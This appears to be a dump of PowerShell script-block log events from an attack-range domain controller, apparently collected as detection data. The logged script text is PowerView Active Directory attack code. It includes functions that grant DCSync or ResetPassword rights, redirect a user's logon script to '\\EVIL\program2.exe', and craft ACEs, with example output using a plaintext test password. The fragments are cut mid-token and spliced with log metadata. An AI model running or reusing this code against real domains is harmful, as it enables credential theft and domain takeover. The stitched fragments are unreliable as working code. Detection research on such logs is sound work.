VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.LINK
https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# add all the new ACEs to the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObjb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110283Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1441data' for '$ObjectDN'"
}
}
}
}
}
function Set-DomainObject {
<#
.SYNOPSIS
Modifies a gven property for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}
function New-ADObjectAccessControlEntry {
<#
.SYNOPSIS
Creates a new Active Directory object-specific access control entry.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Creates a new object-specific access control entry (ACE). The ACE could be
used for auditing access to an object or controlling access to objects.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER PrincipalSearchBase
The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Right
Specifies the rights set on the Active Directory object.
.PARAMETER AccessControlType
Specifies the type of ACE (allow or deny)
.PARAMETER AuditFlag
For audit ACEs, specifies when to create an audit log (on success or failure)
.PARAMETER ObjectType
Specifies the GUID of the object that the ACE applies to.
.PARAMETER InheritanceType
Specifies how the ACE applies to the object and/or its children.
.PARAMETER InheritedObjectType
Specifies the type of object that can inherit the ACE.
.EXAMPLE
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
Adds an ACE to all computer objects in the OU "Workstations" permitting the
user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
.OUTPUTS
System.Security.AccessControl.AuthorizationRule
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Security.AccessControl.AuthorizationRule')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True)]
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
$Right,
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
[ValidateSet('Success', 'Failure')]
[String]
$AuditFlag,
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
[Guid]
$ObjectType,
[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
[String]
$InheritanceType,
[Guid]
$InheritedObjectType
)
Begin {
if ($PrincipalIdentity -notmatch '^S-1-.*') {
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110281Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1241-Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$CompSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($CompSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$CompSearcher = Get-DomainSearcher @SearcherArguments
if (-not $CompSearcher) {
Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
else {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
